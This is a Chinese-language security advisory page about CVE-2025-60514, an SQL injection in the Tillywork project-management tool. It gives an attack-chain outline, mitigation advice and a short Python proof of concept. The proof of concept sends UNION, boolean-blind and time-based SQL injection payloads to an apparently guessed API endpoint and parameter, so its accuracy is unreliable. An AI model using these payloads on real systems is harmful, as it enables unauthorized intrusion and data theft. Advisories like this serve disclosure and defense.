IPBUF安全漏洞报告
English
CVE-2025-60514 CVSS 6.5 中危

CVE-2025-60514:Tillywork SQL注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-60514
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tillywork

相关标签

SQL注入TillyworkCVE-2025-60514中危漏洞查询构建网络安全数据泄露未认证漏洞

漏洞概述

CVE-2025-60514是Tillywork项目管理软件中的一个SQL注入漏洞,影响v0.1.3及以下版本。该漏洞存在于应用代码路径app/common/helpers/query.builder.helper.ts中的查询构建辅助函数中。由于该函数在构造SQL查询时未能对用户输入进行充分的参数化处理或适当的转义,攻击者可以通过精心构造的恶意输入注入任意SQL语句,从而绕过应用程序的安全控制。Tillywork是一款开源的项目管理和协作工具,广泛用于团队任务跟踪和工作流管理。该漏洞的CVSS评分为6.5,属于中危级别,其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),无需用户交互(UI:N),对机密性和完整性存在低影响(C:L/I:L),对可用性无影响(A:N)。这意味着远程未认证攻击者可以较为容易地利用此漏洞,但影响范围主要集中在数据读取和修改层面,不会直接导致系统完全瘫痪。该漏洞已于2025年10月17日公开披露,并已在GitHub上提交了修复补丁(PR #288),建议用户尽快升级到修复后的版本以消除安全风险。

技术细节

该SQL注入漏洞位于Tillywork项目的查询构建辅助模块中,具体文件为app/common/helpers/query.builder.helper.ts。该辅助函数负责动态构建数据库查询语句,在处理用户可控的输入参数(如排序字段、过滤条件、查询参数等)时,未采用参数化查询(Prepared Statements)或ORM框架的安全机制,而是直接将用户输入拼接到SQL查询字符串中。攻击者可以通过构造包含SQL元字符(如单引号'、双引号"、分号;、注释符--或/**/、UNION SELECT等)的恶意输入,篡改原始SQL语句的逻辑结构。例如,攻击者可能通过注入UNION SELECT语句从数据库中提取敏感信息(如用户凭证、会话令牌、管理员密码哈希等),或通过布尔盲注和时间盲注技术逐步推断数据库内容。由于漏洞无需认证即可利用,远程攻击者只需向暴露的API端点发送特制请求即可触发。由于Tillywork通常存储项目管理数据、用户信息和团队配置等敏感内容,成功利用该漏洞可能导致数据泄露、数据篡改以及进一步的攻击活动。修复方式应采用参数化查询或使用ORM的安全查询接口,确保用户输入始终作为数据而非代码处理。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具识别暴露在公网的Tillywork实例,收集目标系统的版本信息和API端点。
STEP 2
步骤2:漏洞探测
攻击者向Tillywork的API端点发送带有特殊字符(如单引号、双引号)的测试请求,观察响应中是否包含SQL错误信息(如SQL语法错误、数据库类型提示等),确认SQL注入漏洞的存在。
STEP 3
步骤3:注入Payload构造
攻击者根据目标数据库类型(MySQL/PostgreSQL等)构造相应的SQL注入Payload,包括UNION注入、布尔盲注或时间盲注等不同技术。
STEP 4
步骤4:数据提取
通过SQL注入漏洞,攻击者利用UNION SELECT等语句从数据库中提取敏感信息,如用户凭证、管理员密码哈希、会话令牌等。
STEP 5
步骤5:权限提升与持久化
利用获取的管理员凭证登录系统,植入后门或修改配置以实现持久化访问,进一步渗透内网或窃取更多敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60514 - Tillywork SQL Injection PoC # Vulnerable file: app/common/helpers/query.builder.helper.ts # Affected versions: Tillywork <= v0.1.3 import requests TARGET_URL = "https://target-tillywork-instance.com" # The vulnerability exists in query builder helper, exploitable via API endpoints # that use unsanitized user input in SQL query construction. def exploit_sql_injection(endpoint, injection_payload): """ Exploit SQL injection in Tillywork query builder helper. The vulnerable function dynamically constructs SQL queries using unsanitized user input from request parameters. """ url = f"{TARGET_URL}{endpoint}" params = { "sort": injection_payload, # Example: sort parameter passed to query builder "order": "ASC" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } response = requests.get(url, params=params, headers=headers, timeout=10) return response # Example 1: UNION-based injection to extract database version payload_union = "id; UNION SELECT 1,version(),database(),user(),5,6-- -" # Example 2: Boolean-based blind injection payload_blind = "id AND 1=1-- -" payload_blind_false = "id AND 1=2-- -" # Example 3: Time-based blind injection payload_time = "id; SELECT SLEEP(5)-- -" if __name__ == "__main__": # Test UNION-based injection print("[*] Testing UNION-based SQL injection...") resp = exploit_sql_injection("/api/records/list", payload_union) print(f"[+] Status: {resp.status_code}") print(f"[+] Response: {resp.text[:500]}") # Test time-based blind injection print("\n[*] Testing time-based blind SQL injection...") resp = exploit_sql_injection("/api/records/list", payload_time) print(f"[+] Response time: {resp.elapsed.total_seconds()}s")

影响范围

Tillywork <= v0.1.3

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中部署SQL注入防护规则,拦截包含UNION、SELECT、SLEEP等关键字的可疑请求;2)通过反向代理限制对Tillywork API端点的访问,仅允许可信IP地址访问;3)在数据库层面为Tillywork使用的数据库账户授予最小权限,禁止DROP、GRANT等高危操作;4)对query.builder.helper.ts相关API端点实施输入验证和参数化重构,作为紧急热修复;5)密切监控系统日志,关注异常的数据库查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表